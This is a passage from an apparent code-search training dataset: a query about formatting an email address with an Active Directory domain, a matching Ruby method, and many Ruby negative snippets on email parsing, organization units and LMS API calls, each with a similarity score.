"0.61176395",
"0.61113054",
"0.6109547",
"0.61039245",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.60954654",
"0.6092225"
] |
0.6578558
|
32
|
Format email with a active directory domain
|
def format_email_to_ad_domain(email)
return "#{email.split('@')[0]}@#{AD_DOMAIN}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def formatted_email(contact)\n \"#{contact.username} <#{contact.email}>\"\n end",
"def format_email!\n @email.gsub!(/@/, \"%40\")\n end",
"def return_email_domain \n return \"@\" + self.email.split('@')[1]\n end",
"def formatted_email\n \"#{@name} <#{@email}>\"\n end",
"def formatted_email\n \"#{name} <#{email}>\"\n end",
"def format_email\n return if email.include?('@sfu.ca')\n self.email = \"#{email}@sfu.ca\"\n end",
"def get_domain_name_from_email_address(email)\nend",
"def formatted_email\n \"#{full_name} <#{email}\"\n end",
"def format_email\n email.downcase!.strip!\n end",
"def domain\n email.split(\"@\")[1]\n end",
"def domain_info\n @domain = normalized_email.split('@').last\n domain\n end",
"def formatted_email\n\t\t# because @name and @email are both instance variables, they are available in formatted_email\n\t\t\"#{@name} <#{@email}>\"\n\tend",
"def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end",
"def smtp_domain\n @smtp_username.split('@').last\n end",
"def get_domain_name_from_email_address(email)\n med = email[/[@].*[.]/]\n domain = med[1..-2]\nend",
"def email(name: T.unsafe(nil), separators: T.unsafe(nil), domain: T.unsafe(nil)); end",
"def to_email(name) ; \"#{name.gsub(/ /, '.')}@smartergrades.com\".downcase ; end",
"def split_email_domain\n return self.email.split('@')[1]\n end",
"def email_domain\n user.email_domain\n end",
"def get_domain_name_from_email_address(email)\n\temail = 'alex@makersacademy.com'\n\tn = email.gsub(/.+@([^.]+).+/, '\\1')\nend",
"def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end",
"def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end",
"def emails_full\n format_entities('gd$email')\n end",
"def email_with_formatting\n (self.email.blank?) ? 'N/A' : self.email\n end",
"def email_domain\n if !self[:email].blank?\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.last}\" if 2 == split_host.size\n else\n self.organization.site_domain if self.organization\n end\n rescue URI::InvalidURIError\n nil\n end",
"def email_domain\n \tdomain = email.split('@').last\n \tif domain != \"ship.edu\"\n \t\terrors.add(:email, \"Must Use Your School Email (@ship.edu)\")\n \tend\n end",
"def get_domain_name_from_email_address(email)\n index_no = email.index('@') + 1\n email[index_no...email.length - 4]\nend",
"def from_email_obscured\n return \"\" if from_email.blank?\n\n sender_parts = from_email.split(\"@\")\n if sender_parts.size > 1\n person_name = sender_parts.first\n if person_name.length > 2\n return \"#{person_name[0..(person_name.length - 3)]}..@#{sender_parts.last}\"\n else\n return \"..@#{sender_parts.last}\"\n end\n end\n\n \"\"\n end",
"def get_domain_name_from_email_address(email)\nemail.scan(/@(\\w+)/)[0].pop\nend",
"def email_with_name\n if email\n %Q{\"#{first} #{last}\" <#{email}>}\n end\n end",
"def email_domain\n self.organization.email_domain\n end",
"def email_without_domain\n if email =~ /(^[^@]+)@/\n $1\n else\n email\n end\n end",
"def email_without_domain\n if email =~ /(^[^@]+)@/\n $1\n else\n email\n end\n end",
"def shorten_mail_adr(adr)\n pattern = /\\S*(@|\\sved\\s)\\S*/\n adr =~ pattern\n (adr = adr.sub(/#{$&}/, \"<a href=\\\"mailto:#{$&}\\\">email</a>\")) unless $& == nil\n return adr\n end",
"def email_from_name(name)\n email_name = name.tr(\" \", \".\").gsub(/\\.{2,}/, \".\")\n \"correspondence-staff-dev+#{email_name}@digital.justice.gov.uk\"\nend",
"def email_domain\n domain = email.split(\"@\").last.downcase\n if !email.blank?\n errors.add(:email, \"Invalid Domain- Please provide valid Grinnell email\") if domain != \"grinnell.edu\"\n end\n end",
"def to_s\n formatted_email\n end",
"def email_format\n\t\terrors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n\tend",
"def default_email( cid )\n return \"#{cid}@#{DEFAULT_DOMAIN}\"\n end",
"def email(value)\n merge(email: value.to_s)\n end",
"def as_email_to\n return email if name.nil?\n\n %(#{name} <#{email}>)\n end",
"def rfc_email\n \"\\\"#{full_name}\\\" <#{email}>\"\n end",
"def format\n display_name = if @display_name.nil?\n\t\t nil\n\t\t elsif @display_name =~ /^[-\\/\\w=!#\\$%&'*+?^`{|}~ ]+$/\n\t\t @display_name\n\t\t else\n\t\t '\"' + @display_name.gsub(/[\"\\\\]/, '\\\\\\\\\\&') + '\"'\n\t\t end\n local = if (@local !~ /^[-\\w=!#\\$%&'*+?^`{|}~\\.\\/]+$/ ||\n\t\t @local =~ /^\\./ ||\n\t\t @local =~ /\\.$/ ||\n\t\t @local =~ /\\.\\./)\n\t\t'\"' + @local.gsub(/[\"\\\\]/, '\\\\\\\\\\&') + '\"'\n\t else\n\t\t@local\n\t end\n domain = if (!@domain.nil? and\n\t\t (@domain !~ /^[-\\w=!#\\$%&'*+?^`{|}~\\.\\/]+$/ ||\n\t\t @domain =~ /^\\./ ||\n\t\t @domain =~ /\\.$/ ||\n\t\t @domain =~ /\\.\\./))\n\t then\n\t\t '[' + if @domain =~ /^\\[(.*)\\]$/\n\t\t\t $1\n\t\t else\n\t\t\t @domain\n\t\t end.gsub(/[\\[\\]\\\\]/, '\\\\\\\\\\&') + ']'\n\t else\n\t\t @domain\n\t end\n address = if domain.nil?\n\t\t local\n\t\telsif !display_name.nil? or domain[-1] == ?]\n\t\t '<' + local + '@' + domain + '>'\n\t\telse\n\t\t local + '@' + domain\n\t\tend\n comments = nil\n comments = unless @comments.nil?\n\t\t @comments.collect { |c|\n\t '(' + c.gsub(/[()\\\\]/, '\\\\\\\\\\&') + ')'\n\t}.join(' ')\n\t\t end\n [display_name, address, comments].compact.join(' ')\n end",
"def normalize(address)\n return nil unless address.count(\"@\") == 1\n\n name, domain = address.downcase.split(\"@\")\n\n domain = CANONICAL_DOMAINS.fetch(domain, domain)\n name = name.delete(\".\") if domain.in?(IGNORE_DOTS)\n name = name.gsub(/\\+.*\\z/, \"\") if domain.in?(IGNORE_PLUS_ADDRESSING)\n name = name.gsub(/-.*\\z/, \"\") if domain.in?(IGNORE_MINUS_ADDRESSING)\n\n \"#{name}@#{domain}\"\n end",
"def convert_email\n %w[paul@kristoffs.com paul.kristoff@kristoffs.com retail@kristoffs.com justfaith@kristoffs.com financial@kristoffs.com]\n end",
"def remove_gmail_periods(email_address)\n email_address = email_address.downcase\n return email_address unless email_address.end_with?('gmail.com')\n # sub out any periods with blanks, then replace the period for the '.com' at the end of the address\n email_address = email_address.gsub('.', '').gsub(/com\\z/, '.com')\n end",
"def email_with_name\n \"#{full_name} <#{email.to_s}>\"\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def format_username\n \t_email_base = self.email[/[^@]+/]\n \tself.username ||= _email_base.camelize.underscore.gsub(/\\./,\"_\") unless _email_base.nil?\n\n end",
"def cleanse_domain(domain)\n domain.downcase!\n domain = domain.sub(/^https?\\:\\/\\//, '').sub(/^www./,'')\n domain = domain.split(\"/\").first\n domain = domain.split(\"@\").last\n\n domain = PublicSuffix.parse(domain)\n domain = \"#{domain.sld}.#{domain.tld}\"\n domain\n end",
"def compose_email_details()\n\t email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n if !@email.cc.nil?\n email_details << \"Cc: \" + @email[:cc].formatted.join(', ') + \"\\n\"\n end\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details << \"Subject: \" + @email[:subject].to_s + \"\\n\"\n email_details = \"bq. \" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"\\n\"\n email_details\n end",
"def proms_mailing_list_email\n \"#{gadz_tabagns}#{gadz_ans}@gadz.org\"\n end",
"def contact_email\n \"webmaster@#{server_host}\"\n end",
"def create_email_no_domain\n self.email_no_domain = self.email.split('@').first if self.email.present? && self.email_no_domain.nil?\n return true\n end",
"def mailfrom(from_addr); end",
"def _format_mail(message)\n <<~EOM\n\n ==> Sending email to #{message.to.join(\", \")}\n #{message}\n\n EOM\n end",
"def shortened_email\n \"#{email[0..4]}...\"\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def email_with_name\n \"#{name} <#{email}>\"\n end",
"def get_domain\n UserNotifierMailer.get_domain(\"http://localhost:3000\")\n end",
"def email_address_with_name\n \"\\\"#{name}\\\" <#{info.email}>\"\n end",
"def gen_email(name)\n firstname = name.split.first\n lastname = name.split.last\n domains = %w(yahoo.com gmail.com privacy.net webmail.com msn.com\n hotmail.com example.com privacy.net)\n return \"#{(firstname + lastname).downcase}\"\\\n \"#{rand(100)}\\@#{domains[rand(domains.size)]}\"\nend",
"def email_link\n \"<a href='mailto:#{contact_email}'>Contact</a>\"\n end",
"def format_email_user_info(body, user)\n body.gsub!(/\\%name/,user.fullname)\n body.gsub!(/\\%email/,user.email)\n body.gsub!(/\\%phone/,user.phone)\n body.gsub!(/\\%program/,user.program)\n body.gsub!(/\\%school/,user.school)\n body.gsub!(/\\%status/,user.status)\n suggestion = Suggestion.where(:username => user.username).order(\"created_at\").last\n unless suggestion.nil?\n body.gsub!(/\\%suggestion/, suggestion.suggestion)\n end\n return body\n end",
"def display_name\n email.gsub(/@.*/, \"\")\n end",
"def domain\n Domain.new((address.split('@')[1] || '').strip)\n end",
"def email\n em = Email.new\n em.host = domain\n em.user = \"info\"\n em\n end",
"def sanitize_email(email)\n email.gsub(/@/, \"_at_\").gsub(/\\./, \"_dot_\")\n end",
"def parser_email(line)\n if line.include? MailHeader.from\n fields=line.split(MailHeader.key_separator)\n if fields.length>1\n\t\t\t\tvalue=fields[1].split(\" \")\n if value.length>1\n firstname_lastname=value[0];\n email_address=value[1].gsub(/[<>]/,'')\n company_url=\"www.\"+email_address.split('@')[1];\n # if the email address is not contains the '@',the address is not correct\n unless email_address.include? \"@\"\n mail_header_output.firstname_lastname=MailHeader.unknown\n mail_header_output.flastname=MailHeader.unknown\n end\n mail_header_output.company_url=company_url\n check_firstname_lastname(email_address)\n check_flastname(email_address)\n check_email_name_conflict()\n end #end value.length\n end #end fields.length\n end #end line include\n end",
"def encode_email_address( addr )\n\n\t\t\trval = ''\n\t\t\t(\"mailto:\" + addr).each_byte {|b|\n\t\t\t\tcase b\n\t\t\t\twhen ?:\n\t\t\t\t\trval += \":\"\n\t\t\t\twhen ?@\n\t\t\t\t\trval += Encoders[ rand(2) ][ b ]\n\t\t\t\telse\n\t\t\t\t\tr = rand(100)\n\t\t\t\t\trval += (\n\t\t\t\t\t\tr > 90 ? Encoders[2][ b ] :\n\t\t\t\t\t\tr < 45 ? Encoders[1][ b ] :\n\t\t\t\t\t\t\t\t Encoders[0][ b ]\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\t}\n\n\t\t\treturn %{<a href=\"%s\">%s</a>} % [ rval, rval.sub(/.+?:/, '') ]\n\t\tend",
"def email_service\n self.email_service = self.email.match(/\\A\\w+\\.?\\w*\\@{1}([a-z]+)\\.{1}[a-z]+\\z/).to_a[1]\n end",
"def identifier\n unless full_name.blank?\n full_name\n else\n email.split('@').join(' from ')\n end\n end",
"def email_as_id\n\t\tself.email.gsub(/[@\\.]/, '-')\n\tend",
"def devise_mail(record, action, opts={})\n logger.debug Rails.application.secrets.email_sender\n logger.debug Rails.application.secrets.email_domain_name\n initialize_from_record(record)\n mail(headers_for(action, opts)) do |format|\n format.text\n format.html\n end\n end",
"def normalize_email_address email_address\n email_address.downcase.sub(/swan\\.ac\\.uk/,'swansea.ac.uk')\nend",
"def rep_email\r\n return if self.assigned_to.nil?\r\n \r\n if (bomb_squad = AppConfig.CUSTOMER_STAFF[self.assigned_to])\r\n return \"\\\"#{name}\\\" <#{bomb_squad_email}>\"\r\n else\r\n raise \"BombSquad \\\"#{self.assigned_to}\\\" is not existing for \\\"#{self.account_num}\\\"\"\r\n end\r\n end",
"def mangle_uid_with_tenant(uid, tenant_id)\n sp = uid.split('@')\n sp.push('bad-email-domain.com') if sp.length == 1\n sp = ['bad', 'bad-email-domain.com'] if sp.blank? || sp.length > 2\n \"#{sp.first}-#{tenant_id}@#{sp.last}\"\n end",
"def contact_email\n EMAILS[:contact].split(' ').last[1..-2] \n end",
"def canonical_write( str )\n ### build a mail header for RFC 822\n rfc822msg = \"From: #{@from}\\n\"\n rfc822msg << \"To: #{@to.join(\",\")}\\n\"\n rfc822msg << \"Subject: #{@subject}\\n\"\n rfc822msg << \"Date: #{Time.new.rfc822}\\n\"\n rfc822msg << \"Message-Id: <#{\"%.8f\" % Time.now.to_f}@#{@domain}>\\n\\n\"\n rfc822msg << str\n\n ### send email\n Net::SMTP.start(*@params) {|smtp| smtp.sendmail(rfc822msg, @from, @to)}\n self\n rescue StandardError, TimeoutError => err\n self.level = :off\n ::Logging.log_internal {'e-mail notifications have been disabled'}\n ::Logging.log_internal(-2) {err}\n end",
"def email(email, direction = :push)\n if direction == :push\n # any whitespace will cause netsuite to throw a fatal error\n email = email.gsub(' ', '')\n\n # TODO consider throwing an exception instead of returning nil?\n # netsuite will throw a fatal error if a valid email address is not sent\n # http://stackoverflow.com/questions/742451/what-is-the-simplest-regular-expression-to-validate-emails-to-not-accept-them-bl\n if email !~ /.+@.+\\..+/\n return nil\n end\n\n email = email.\n # an error will be thrown if period is on the end of a sentence\n gsub(/[^A-Za-z]+$/, '').\n # any commas in the email with throw an error\n gsub(',', '').\n # double periods anywhere in the email cause issues\n gsub('..', '.').\n # a period before the @ seems to cause issues\n gsub('.@', '@').\n # backslashes in an email cause issues\n gsub(\"\\\\\", '')\n\n while email.count('@') > 1\n email.sub!('@', '')\n end\n\n if email.split('@').last.include?('&')\n pieces = email.split('@')\n first, last = pieces.first, pieces.last\n last = last.sub('&', '')\n email = [first, last].join('@')\n end\n\n email\n else\n email\n end\n end",
"def name_and_email\n email_address = Notifier.unprettify(self.email)\n self.name.blank? ? email_address : \"\\\"#{self.name}\\\" <#{email_address}>\"\n end",
"def email_address_link user\n \"<a href=\\\"mailto:#{user.email}\\\">#{user.name} <#{user.email}></a>\"\n end",
"def email_date; strftime(EMAIL_TIME_FORMAT); end",
"def write_rpz_domain(fd, domain)\n\tif domain[-1] == '.' then\n\t\tdomain = domain[0..-2]\n\tend\n\tif domain[0] == '.' then\n\t\tdomain = domain[1..-1]\n\tend\n\treturn unless /[\\.]/.match(domain)\n\tfd.write(domain + \" IN CNAME .\\n\")\n\tfd.write(\"*.\" + domain + \" IN CNAME .\\n\")\nend",
"def email_from_creator created_by\n names = created_by.split(' ')\n return \"#{names[1]}#{names[0]}\".downcase + \"@swansea.ac.uk\"\nend",
"def to_s\n email\n end",
"def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end",
"def email\n match(/Email\\s+:\\s+([^\\s]+)/)\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end",
"def to_s\n email\n end"
] |
[
"0.7114175",
"0.68831956",
"0.6870422",
"0.67671585",
"0.67034656",
"0.6591368",
"0.65578055",
"0.6530331",
"0.6523774",
"0.64464784",
"0.637136",
"0.63576686",
"0.63514507",
"0.63215506",
"0.6312877",
"0.6284144",
"0.6280981",
"0.62184435",
"0.6203389",
"0.6162383",
"0.6138274",
"0.6138274",
"0.6130937",
"0.61190134",
"0.6111239",
"0.61043257",
"0.6080892",
"0.6069959",
"0.6060548",
"0.6050655",
"0.60485196",
"0.6038948",
"0.6038948",
"0.6033414",
"0.6025963",
"0.60096705",
"0.5946687",
"0.5933551",
"0.59326583",
"0.5925568",
"0.5918983",
"0.5903908",
"0.59007144",
"0.58722687",
"0.5844956",
"0.5840099",
"0.58180285",
"0.58104676",
"0.5804786",
"0.575896",
"0.57331073",
"0.5710709",
"0.57093173",
"0.5694275",
"0.5694253",
"0.56936705",
"0.56881624",
"0.56866217",
"0.56866217",
"0.56866217",
"0.568613",
"0.5674112",
"0.56672156",
"0.56617624",
"0.5648264",
"0.56395763",
"0.56385636",
"0.56326795",
"0.56280494",
"0.5619974",
"0.560052",
"0.5575773",
"0.5572674",
"0.55726475",
"0.5565618",
"0.5548797",
"0.55456746",
"0.55286294",
"0.5522811",
"0.55222124",
"0.55097693",
"0.55012953",
"0.5499606",
"0.54902977",
"0.5476652",
"0.5474932",
"0.5471893",
"0.54610014",
"0.54581785",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384",
"0.54575384"
] |
0.7599525
|
0
|
Return names of organization units
|
def organization_units
if bind
units = []
AdOrganizationUnit.find_each do |local_entry|
name = local_entry.distinguishedname.split(',')[0]
units.push(name[3..name.length])
end
return units
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def organization_list(organizations)\n organizations or return \"\"\n \n organizations.inject([]) do |s, unit|\n s << \"#{unit.aff_fullname}(#{unit.sta_fullname}\"\n end\n s.join(\", \")\n end",
"def organization_names\n organizations.pluck(:name).join(', ')\n end",
"def organization_names\n organizations.pluck(:name).join(', ')\n end",
"def names\n OrganizationResolver.rank(organization_names).pluck(:content)\n end",
"def organizational_unit\n self[:OU]\n end",
"def index\n @org_units = OrgUnit.all\n end",
"def other_units(unit, quarter, org)\n OrganizationQuarter.find_all_by_organization_id_and_quarter_id(org, quarter).reject{|oq| oq.unit_id == unit.id}.collect(&:unit).collect(&:abbreviation)\n end",
"def department_names; end",
"def get_list_defender_units\n unit_report = []\n unit_report << \"Auflistung der Flotte: \"\n @defender_fleet.ship_groups.each do |group|\n unit_report << group.unit.name\n unit_report << group.number\n end\n return unit_report\n end",
"def index\n @unit_names = UnitName.all\n end",
"def corporate_names\n @mods_ng_xml.corporate_name.map { |n| n.display_value }\n end",
"def unit_name\n @data[@index]\n end",
"def index\n @units = OrganizationalUnit.find(:all, :order => \"sort_order, lower(abbreviation)\", :include => [:members,:organization_abstracts, :primary_faculty, :joint_faculty, :secondary_faculty])\n @heading = \"Current Org Listing\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @units }\n end\n end",
"def unit_name\n @production_menu.unit_name\n end",
"def unit_name\n @production_menu.unit_name\n end",
"def equipment_names\n equipment = self.quote.project.company.equipment\n list = equipment.collect! {|x| x.name}\n# list.join()\n end",
"def get_cloud_aws_organizational_unit_list(opts = {})\n data, _status_code, _headers = get_cloud_aws_organizational_unit_list_with_http_info(opts)\n data\n end",
"def organizations\n\t@organizations = Organization.all\n\t@organization_names = []\n\t@organizations.each do |o|\n\t\t@organization_names << o.name\n\tend\n\t\n\trespond_to do |format|\n\t\tformat.html { render :json => @organization_names }\n\tend\n end",
"def units\n self.ListUnits.first.map { |u| map_unit(u) }\n end",
"def get_courses_by_name(org_unit_name)\n get_courses_by_property_by_string('Name', org_unit_name)\nend",
"def unit_citizens\n world.units.active.find_all { |u| \n unit_iscitizen(u)\n }\n end",
"def units\n\t\tret = []\n\t\t@db.smembers('sgt-structure:' + @id + ':units').each do |uid|\n\t\t\tret.push(getUnit(@db, uid))\n\t\tend\n\t\tret\n\tend",
"def administrative_units\n return @administrative_units\n end",
"def organizations\n teams.map do |team|\n team.organization\n end.compact.uniq\n end",
"def known_units\n begin\n unit_namespace.instances\n rescue NoMethodError \n [] # no #instances method defined yet\n end\n .tap { |r| puts \"Known units are #{r}\" if SY::DEBUG }\n end",
"def get_org_unit_properties(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/#{org_unit_id}\"\n _get(path)\n # return json of org_unit properties\nend",
"def available_units\n # After manual set, duplicate map for form select lists\n all_units = ['gram', 'kg', 'lb', 'oz', 'liter', 'gal', 'qt', 'pt', 'us_fl_oz', 'tsp', 'tbsp', 'cup', 'each'].map { |unit| [unit, unit] }.sort\n return all_units\n\tend",
"def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end",
"def unit_idlers\n world.units.active.find_all { |u|\n unit_isidler(u)\n }\n end",
"def org_name\n test_org.name\n end",
"def index\n @first_level_units = FirstLevelUnit.active.order(:organization_id)\n end",
"def getorganizationname()\r\n return getvalue(SVTags::ORGANIZATION_NAME)\r\n end",
"def index\n @organic_units = OrganicUnit.search(params[:search]).paginate(:per_page => 2, :page => params[:page])\n @title = \"Organic Units\"\n @orgs = OrganicUnit.all\n end",
"def organisation_name\n return if partnership?\n\n organisation.name\n end",
"def systemOfUnits \n \"systemOfUnits\" \n end",
"def getAllUnits\n deep_copy(@allUnits)\n end",
"def list_organizations\r\n Organization.organizations_by_user(self)\r\n end",
"def unit_types\n [\"Subject\", \"Fragment\", \"Chapter\", \"Lesson\", \"Lab\"]\n end",
"def all_units\n services.map{|el| el[:units]} \n end",
"def get_all_org_units_by_type_id(outype_id)\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/children/?ouTypeId=#{outype_id}\"\n _get(path)\nend",
"def units\n q = \"select distinct unit_id from master_files m inner join master_file_locations l on l.master_file_id=m.id\"\n q << \" where location_id = #{id}\"\n return Location.connection.query(q).flatten\n end",
"def dwelling_units\n (household_units.collect(&:dwelling_units).flatten.compact +\n addresses.collect(&:dwelling_unit).flatten.compact).uniq\n end",
"def sub_units\n SubUnit.where(id: sub_unit_ids).order(:name)\n end",
"def find_organizations\n Organization.all\n end",
"def index\n @units = Unit.search.\n institution(current_institution).\n include_children(false).\n order(\"#{Unit::IndexFields::TITLE}.sort\").\n limit(9999)\n end",
"def index\n @german_units = GermanUnit.all\n end",
"def Organization()\r\n ret = _getproperty(1610743808, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def organizations\n positions.collect{|p| p.organization}.uniq.compact\n end",
"def org_name\n self.org.try(:name).to_s\n end",
"def emission_units\n data['emission_units']\n end",
"def traceUnits(units)\n campuses = Set.new\n departments = Set.new\n journals = Set.new\n series = Set.new\n\n done = Set.new\n units = units.clone # to avoid trashing the original list\n while !units.empty?\n unitID = units.shift\n if !done.include?(unitID)\n unit = $allUnits[unitID]\n if !unit\n puts \"Warning: skipping unknown unit #{unitID.inspect}\"\n next\n end\n if unit.type == \"journal\"\n journals << unitID\n elsif unit.type == \"campus\"\n campuses << unitID\n elsif unit.type == \"oru\"\n departments << unitID\n elsif unit.type =~ /series$/\n series << unitID\n end\n units += $unitAncestors[unitID]\n end\n end\n\n return [campuses.to_a, departments.to_a, journals.to_a, series.to_a]\nend",
"def org_types\n organizations.map(&:organization_type)\n end",
"def organisation_details\n return blank_value unless organisation\n\n organisation.partnership? ? partner_names : organisation.name\n end",
"def display_names names\n names.each do |name|\n name = expand_name name\n\n display_name name\n end\n end",
"def org_name\n (org = self.organization) && org.name\n end",
"def units\n definitions = unit_counts\n\n units = []\n definitions.each do |type, count, flank|\n klass = \"Unit::#{type.camelcase}\".constantize\n count.times do\n unit = klass.new(:level => 1, :location => @planet, :flank => flank)\n unit.skip_validate_technologies = true\n\n units.push unit\n end\n end\n\n units\n end",
"def game_companies\n comps = []\n add_entities(comps, UNIT1_COMPANIES) if @units[1]\n add_entities(comps, UNIT3_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[3]\n add_entities(comps, UNIT2_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[2]\n comps\n end",
"def organisation_name_fetch\n @organisation.try(:organisation_name)\n end",
"def admin_organization_stats\n get_admin_stats \"orgs\"\n end",
"def get_names\n @names\n end",
"def organization_by_name(name)\n @organizations[name]\n end",
"def organizations \n puts \"List of organizations:\"\nend",
"def display_name\n return name if name\n return canonical_alias if canonical_alias\n\n members = joined_members\n .reject { |m| m.user_id == client.mxid }\n .map(&:display_name)\n\n return members.first if members.one?\n return \"#{members.first} and #{members.last}\" if members.count == 2\n return \"#{members.first} and #{members.count - 1} others\" if members.count > 2\n\n 'Empty Room'\n end",
"def orgs\n client.organizations\n end",
"def units(auth_name: nil, category: nil, allow_deprecated: false)\r\n # Create pointer to read the count output parameter\r\n out_result_count = FFI::MemoryPointer.new(:int)\r\n\r\n # Result is an array of pointers to structures\r\n pp_units = Api.proj_get_units_from_database(Context.current, auth_name, category, allow_deprecated ? 1 : 0, out_result_count)\r\n count = out_result_count.read(:int)\r\n array_p_units = pp_units.read_array_of_pointer(count)\r\n\r\n result = Array.new(count)\r\n count.times do |i|\r\n unit_info = Api::PROJ_UNIT_INFO.new(array_p_units[i])\r\n\r\n result[i] = Unit.new(unit_info[:auth_name],\r\n unit_info[:code],\r\n unit_info[:name],\r\n unit_info[:category],\r\n unit_info[:conv_factor],\r\n unit_info[:proj_short_name],\r\n unit_info[:deprecated])\r\n end\r\n\r\n Api.proj_unit_list_destroy(pp_units)\r\n\r\n result\r\n end",
"def units(by=nil)\n Unit.units.values.select { |unit| unit.dimensions == self }.map(&by).to_a\n end",
"def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end",
"def names_of_departments_with_employees_from_portsmouth(departments)\nend",
"def organization\n self[:O]\n end",
"def get_name(org_guid)\n org = @client.organization(org_guid)\n org.name\n end",
"def organization_name(org)\n Hardmode.get(\"/orgs/#{org}\", :headers => @auth)\n end",
"def get_names(instructors)\n instructors.map do |instructor|\n instructor[:name]\n end\nend",
"def show\n @organic_unit = OrganicUnit.find(params[:id])\n @title = @organic_unit.name\n @users = @organic_unit.users\n end",
"def get_all_childless_org_units(org_unit_type = '', org_unit_code = '', org_unit_name = '',\n bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/childless/\"\n path += \"?orgUnitType=#{org_unit_type}\" if org_unit_type != ''\n path += \"?orgUnitCode=#{org_unit_code}\" if org_unit_code != ''\n path += \"?orgUnitName=#{org_unit_name}\" if org_unit_name != ''\n path += \"?bookmark=#{bookmark}\" if bookmark != ''\n _get(path)\n # ONLY RETRIEVES FIRST 100\nend",
"def traceUnits(units)\n firstCampus = nil\n campuses = Set.new\n departments = Set.new\n journals = Set.new\n series = Set.new\n\n done = Set.new\n units = units.clone # to avoid trashing the original list\n while !units.empty?\n unitID = units.shift\n if !done.include?(unitID)\n unit = $allUnits[unitID]\n if !unit\n puts \"Warning: skipping unknown unit #{unitID.inspect}\"\n next\n end\n if unit.type == \"journal\"\n journals << unitID\n elsif unit.type == \"campus\"\n firstCampus ||= unitID\n campuses << unitID\n elsif unit.type == \"oru\"\n departments << unitID\n elsif unit.type =~ /series$/\n series << unitID\n end\n units += $unitAncestors[unitID]\n end\n end\n\n return [firstCampus, campuses.to_a, departments.to_a, journals.to_a, series.to_a]\nend",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def names; end",
"def all_names; end",
"def all_names; end",
"def get_org_units_of_isbn(isbn) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/content/isbn/#{isbn}\"\n _get(query_string)\n # Returns: JSON array of IsbnAssociation data blocks specifying\n # all the org units associated with the provided ISBN.\nend",
"def organization_name\n params[:name]\n end",
"def unit_s\n self.unit.to_s if self.unit\n end",
"def find_unit ς\n puts \"searching for unit #{ς}\" if SY::DEBUG\n known_units.find do |u|\n u.name.to_s.downcase == ς.downcase &&\n ( ς == ς.downcase || ς == ς.upcase ) ||\n u.short.to_s == ς\n end\n end",
"def group_names\r\n\t\tnames = []\r\n\t\tgroup.each do |mem|\r\n\t\t\tnames << mem.name\r\n\t\tend\r\n\t\tnames\r\n\tend",
"def name\n return \"Canadian Add Unitary and Apply Standard\"\n end",
"def departments(order)\n order.locations.order(:name).distinct.pluck(:name)\n end",
"def unit_associations\n %w(lecturer assignments department).freeze\n end",
"def get_organization\n return \"NSBE\" if affiliation == 1\n \"SHPE\"\n end",
"def ous\n unless @ous\n @ous = []\n @ldap_object.dn.split(/,/).each do |entry|\n @ous.push Adauth::AdObjects::OU.where('name', entry.gsub(/OU=/, '')).first if entry =~ /OU=/\n end\n end\n @ous\n end",
"def units(*list)\n @units.concat(makelist(list)) unless list.empty?\n @units\n end",
"def units _args\n \"units _args;\" \n end",
"def autonomous_system_organization; end",
"def autonomous_system_organization; end",
"def autonomous_system_organization; end",
"def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end"
] |
[
"0.7330597",
"0.7176635",
"0.7176635",
"0.67003053",
"0.66386664",
"0.66180265",
"0.6484635",
"0.6367569",
"0.6340659",
"0.63251317",
"0.6202311",
"0.6157472",
"0.6123293",
"0.6071357",
"0.6071357",
"0.60418946",
"0.6025729",
"0.6022584",
"0.6005756",
"0.5990255",
"0.5961872",
"0.5910987",
"0.58819413",
"0.5848724",
"0.58445615",
"0.58414525",
"0.58203524",
"0.58112526",
"0.5807975",
"0.578055",
"0.57741076",
"0.5765069",
"0.57277507",
